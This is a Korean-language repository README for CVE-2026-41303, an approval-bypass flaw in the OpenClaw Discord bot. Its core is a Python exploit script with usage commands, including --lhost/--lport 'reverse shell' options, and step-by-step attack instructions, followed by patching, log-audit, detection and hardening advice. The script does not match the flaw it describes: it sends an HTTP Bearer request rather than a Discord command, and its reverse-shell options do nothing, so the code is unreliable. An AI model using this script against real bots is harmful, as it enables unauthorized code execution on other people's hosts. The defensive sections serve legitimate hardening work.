
CVE-2026-41303에 대한 기술 문서 및 개념 증명(PoC) — OpenClaw Discord 봇의 인가 우회(authorization bypass) 취약점으로, 악용 방법론, 완화 조치, 방어 권장 사항을 포함합니다.
OpenClaw의 인증 우회 취약점에 대한 완전한 기술 문서
이 저장소는 OpenClaw 프로젝트의 실행 승인 명령에서 인증 우회를 허용하는 취약점 CVE-2026-41303에 대한 기술 정보, 분석 및 권장 사항을 포함합니다.
2026.3.28 이전 버전의 OpenClaw에서 심각한 결함이 확인되었습니다. 문제는 Discord 텍스트 승인 명령에 있으며, 승인된 승인자 목록(channels.discord.execApprovals.approvers)에 속하지 않은 사용자가 대기 중인 호스트 실행 요청을 승인할 수 있습니다.
| 매개변수 | 값 |
|---|---|
| CVE ID | CVE-2026-41303 |
| 영향받는 제품 | OpenClaw |
| 취약점 유형 | Authorization Bypass (CWE-863) |
| 공격 벡터 | Discord 텍스트 명령 |
| 플랫폼 | Linux / Discord |
| CVSS 점수 | 8.8 (높음) |
| 영향받는 버전 | < 2026.3.28 |
| 상태 | v2026.3.28+에서 수정됨 |
취약점은 OpenClaw 봇의 /approve 명령 핸들러에서 인증 검증 부재에 있습니다. 시스템은 요청을 처리하기 전에 명령을 실행하는 사용자가 승인된 승인자 목록에 속하는지 올바르게 확인하지 않습니다.
승인이 관리되는 Discord 채널에 접근할 수 있는 공격자는 다음을 수행할 수 있습니다:
비인가 사용자
↓
Discord 채널 접근
↓
대기 중인 승인 ID 식별
↓
/approve 명령 실행
↓
봇이 권한 검증 없이 승인
↓
원격 코드 실행 (RCE)
channel-id)approval-id)requests, json, argparseimport argparse
import requests
import json
import time
def main():
# 감사용 전문 인자 설정
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - OpenClaw 승인 우회",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
사용 예시:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="봇 인스턴스 또는 컨텍스트 URL")
parser.add_argument("--token", required=True, help="공격자/감사자의 Discord 토큰")
parser.add_argument("--channel-id", required=True, help="Discord 채널 ID")
parser.add_argument("--approval-id", required=True, help="우회할 승인 ID")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="승인 결정 유형 (기본값: allow-once)")
# 사후 악용을 위한 추가 매개변수
parser.add_argument("--lhost", help="승인이 RCE를 활성화하는 경우 리버스 셸용 IP")
parser.add_argument("--lport", help="리스닝 포트")
parser.add_argument("--verbose", "-v", action="store_true", help="상세 모드")
args = parser.parse_args()
# 악용 로직
print(f"[*] 승인 우회 시작: {args.approval_id}")
print(f"[*] 대상 채널: {args.channel_id}")
print(f"[*] 결정: {args.decision}")
if args.verbose:
print(f"[DEBUG] 토큰: {args.token[:20]}...")
print(f"[DEBUG] 대상: {args.target}")
# 잘못된 요청 구성
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# 권한 검증 없이 /approve 명령 전송
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] 우회 성공! 승인이 실행되었습니다.")
print(f"[+] 응답: {response.json()}")
if args.lhost and args.lport:
print(f"[*] 리버스 셸 구성됨: {args.lhost}:{args.lport}")
else:
print(f"[-] 오류: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] 예외: {str(e)}")
if __name__ == "__main__":
main()
# 기본 사용법
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# 상세 모드
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# 리버스 셸 포함
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. OpenClaw가 상호작용하는 Discord 채널에 대한 접근 권한 획득
2. 대기 중인 승인 ID를 식별하기 위해 봇 메시지 모니터링
3. 승인 요청의 정확한 형식 캡처
4. /approve 명령 구조 문서화
1. 캡처한 ID로 PoC 스크립트 실행
2. 매개변수와 함께 결정(allow-once 또는 allow-always) 전송
3. 봇이 사용자 권한을 검증하지 않고 명령 처리
4. 승인이 성공적으로 실행됨
Discord의 텍스트 승인이 서버의 자동 기능을 활성화하는 경우:
↓
코드 배포
↓
원격 코드 실행 (RCE)
↓
시스템 전체 손상
1. OpenClaw 업데이트
# 2026.3.28 이상 버전으로 업데이트
pip install --upgrade openclaw>=2026.3.28
# 또는 공식 저장소에서
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .
2. 구성 검토
# channels.discord.execApprovals.approvers 확인
# 파일: config.yaml
channels:
discord:
execApprovals:
approvers:
- "user_id_1"
- "user_id_2"
- "user_id_3"
# ⚠️ 신뢰할 수 있는 사용자만 이 목록에 있는지 확인
3. 로그 감사
# 최근 실행 기록 검토
tail -f /var/log/openclaw/execution.log
# 의심스러운 승인 검색
grep "APPROVAL" /var/log/openclaw/execution.log | grep -v "AUTHORIZED_USER"
# 전체 감사
openclaw-audit --check-approvals --date-range "last-30-days"
/approve 명령 모니터링 구현# 악용 탐지를 위한 모니터링 스크립트
import logging
from datetime import datetime
def monitor_approvals(log_file):
"""인증 우회 시도 탐지"""
suspicious_patterns = [
"APPROVAL_BYPASS",
"UNAUTHORIZED_APPROVAL",
"INVALID_PERMISSION"
]
with open(log_file, 'r') as f:
for line in f:
if any(pattern in line for pattern in suspicious_patterns):
alert = f"[경고] {datetime.now()} - {line.strip()}"
logging.warning(alert)
# 관리자에게 알림 전송
send_alert(alert)
def send_alert(message):
"""관리자에게 알림 전송"""
# 알림 구현 (이메일, Slack 등)
pass
# 안전한 검증 구현
def approve_execution(user_id, approval_id, decision):
"""승인 전 권한 검증"""
# 1. 사용자가 승인자 목록에 있는지 확인
authorized_approvers = get_authorized_approvers()
if user_id not in authorized_approvers:
raise PermissionError(f"사용자 {user_id}는 인가되지 않음")
# 2. 승인이 존재하고 대기 중인지 확인
approval = get_approval(approval_id)
if not approval or approval.status != "PENDING":
raise ValueError(f"승인 {approval_id}이(가) 유효하지 않음")
# 3. 작업 기록
log_approval(user_id, approval_id, decision)
# 4. 승인 실행
return execute_approval(approval_id, decision)
# config.yaml - 안전한 구성
security:
# 엄격한 권한 검증
strict_authorization: true
# 다중 인증 요구
mfa_required: true
# 모든 승인 기록
audit_logging: true
# 실패 시도 제한
max_failed_attempts: 3
# 시도 간 대기 시간
lockout_duration: 300 # 초
# 실시간 알림
real_time_alerts: true
channels:
discord:
execApprovals:
approvers:
- "admin_user_1"
- "admin_user_2"
# 허용된 역할 (추가)
allowed_roles:
- "ADMIN"
- "SECURITY_TEAM"
# 다중 사용자 승인 요구
require_multiple_approvals: true
approval_threshold: 2
╔═══════════════════════════════════════════════════════════════════════════╗
║ 중요 고지 ║
╠═══════════════════════════════════════════════════════════════════════════╣
║ ║
║ 이 문서는 교육 및 정보 보안 목적으로만 제공됩니다. 여기에 포함된 정보는 ║
║ 통제된 환경에서 인가된 보안 전문가만 사용해야 합니다. ║
║ ║
║